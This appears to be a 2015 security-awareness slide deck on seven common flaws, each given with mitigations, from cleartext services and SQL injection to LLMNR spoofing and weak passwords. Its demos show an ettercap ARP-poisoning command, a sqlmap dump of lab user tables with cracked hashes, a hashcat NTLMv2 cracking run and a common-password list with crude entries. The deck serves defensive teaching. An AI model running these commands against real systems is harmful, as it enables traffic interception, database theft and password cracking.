Seven Things That Will Get You Pwned!
What Are We Talking About?

Overview of common security flaws that really shouldn’t exist anymore.

- Vulnerability
- Example
- Mitigation
Vulnerabilities

1. Cleartext Services
2. Cross-Site Scripting (XSS)
3. SQLi
4. NetBIOS/LLMNR Spoofing
5. Weak/Default Credentials
6. SSL/TLS Misconfigurations (not exactly pwned)
7. Un-Patched Software
Cleartext Services

Data Travels Over Network Media in Cleartext

- FTP
- Telnet
- HTTP
- POP
- IMAP
Cleartext Services

```bash
root@stewie:~# ettercap -i eth0 --text -q --mitm arp /192.168.1.20/ /192.168.1.40/

ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team

Listening on:
eth0 -> 08:00:27:5C:B8:D1
  192.168.1.139/255.255.255.0
  fe80::a00:27ff:fe5c:b8d1/64

ARP poisoning victims:

  GROUP 1 : 192.168.1.20 08:00:27:42:84:5D
  GROUP 2 : 192.168.1.40 08:00:27:BA:69:E4

Starting Unified sniffing...

Text only Interface activated...
Hit 'h' for inline help

```
XSS

- User input is either reflected back to the browser
- User input is stored in a database and sent back to the browser
- Web application is expecting data.
- Web application interprets code.

- Filtering
- Encoding
XSS
SQLi

Browser -> Web Application -> Database

- User supplied input included in dynamic SQL queries

- Prepared Statements (parameterised queries)
  - Statement template sent to the database. Values added at execution.

- Stored Procedures
  - Stored on the database. Can be implemented incorrectly.

- Escape User Supplied Input
  - Escape special characters from queries.
### SQLi

```shell
sqlmap -u
  "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" —
  cookie="security=low; PHPSESSID=6f397e18207ce4da76db02fbb3cfba6a" -D
dvwa -T users -C user,password —dump
```

<table>
<thead>
<tr>
<th>user</th>
<th>password</th>
</tr>
</thead>
<tbody>
<tr>
<td>pablo</td>
<td>0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)</td>
</tr>
<tr>
<td>admin</td>
<td>5f4dcc3b5aa765d61d8327deb882cf99 (password)</td>
</tr>
<tr>
<td>gordonb</td>
<td>e99a18c428cb38d5f260853678922e03 (abc123)</td>
</tr>
<tr>
<td>1337</td>
<td>8d3533d75ae2c3966d7e0d4fcc69216b (charley)</td>
</tr>
<tr>
<td>smithy</td>
<td>5f4dcc3b5aa765d61d8327deb882cf99 (password)</td>
</tr>
</tbody>
</table>
NetBIOS/LLMNR Spoofing

- Process
- LMHost Cache
- LMHost File
- Mode Dependent
  - B-Node (broadcast)
  - P-Node (WINS)
  - H-Node (WINS > broadcast)
  - M-Node (broadcast > WINS)
NetBIOS/LLMNR Spoofing

```
r0ot@bri4n:~# hashcat -m 5600 -a 0 -n 8 -r /usr/share/hashcat/rules/best64.rule SMB-NTLMv2-SSP-192.168.56.101.txt wordlist.txt
This copy of hashcat will expire on 01.01.2016. Please upgrade to continue using hashcat.

Initializing hashcat v0.49 with 8 threads and 32mb segment-size...

Added hashes from file SMB-NTLMv2-SSP-192.168.56.101.txt: 1 (1 salts)
Activating quick-digest mode for single-hash with salt
Added rules from file /usr/share/hashcat/rules/best64.rule: 78

NOTE: press enter for status-screen

DEMO::dem0-win:1122334455667788:4dc76a568fe6b4caaa47430b4635ed5b:0101000000000000000096d3c5e8628d1
019ff7f4060f20e12c00000000002000a073006d006203100320001001400530045005200560045005200320030003
0003800004016073006d006200310032002e006c006f00630061006c0003002c0053004500520056004500520032003
30003000380002e0073006d006200310032002e006c006f00630061006c000500160073006d006200310032002e006c0
06f00630061006c000300030003000300030003000300030003000300030003000300030003000300030003000300030003
3525a81b74d7a39cd7ba3959050a00100000000000000000000000000000000000009001c0063006900660073002f007
3006f006d0065007400680069006e006700000000000000000000:Password1

All hashes have been recovered```
Weak/Default Credentials

- Network Devices (switches, routers)
- Weak passwords (Password1, Summer2015)
- Default SNMP Community Strings (read, read/write)

- Government Password Guidance;
Weak/Default Credentials

123456
12345
password
DEFAULT
123456789
qwerty
12345678
abc123
pussy
1234567
696969
ashley
fuckme
football
baseball
fuckyou
11111
1234567890
ashleyadison
password1
madison
asshole
superman
mustang
harley

654321
123123
hello
monkey
000000
hockey
letmein
11111
soccer
cheater
kazuga
hunter
shadow
michael
121212
666666
iloveyou
qwertyuiop
secret
buster
horny
jordan
hosts
zxvcvbnm
asdfghjkl

affair
dragon
987654
liverpool
bigdick
sunshine
yankees
asdfg
freedom
batman
whatever
charlie
fucky
money
pepper
jessica
asdfsadfd
1qaz2wsx
987654321
andrew
qazwsx
dallas
55555
131313
abcd1234

anthony
steelers
asdfgh
jennifer
killer
cowboys
master
jordan23
robert
maggie
looking
thomas
george
matthew
7777777
amanda
summer
qwert
princess
ranger
william
corvette
jackson
tigger
computer

cnsgroup.co.uk

December 2015
SSL/TLS Misconfigurations

- Old Protocols
- Weak Keys
- Flawed Ciphers
- Un-Patched Implementations

- Review Configurations

WHAT IF I TOLD YOU

WE COULD HAVE COMPLETELY SECURE SSL/TLS IMPLEMENTATIONS
Un-Patched Software

- What is Patching?
- Why Patch?
- Famous Exploits Still Found
- Policy and Procedures
- Rollout
Any Questions ...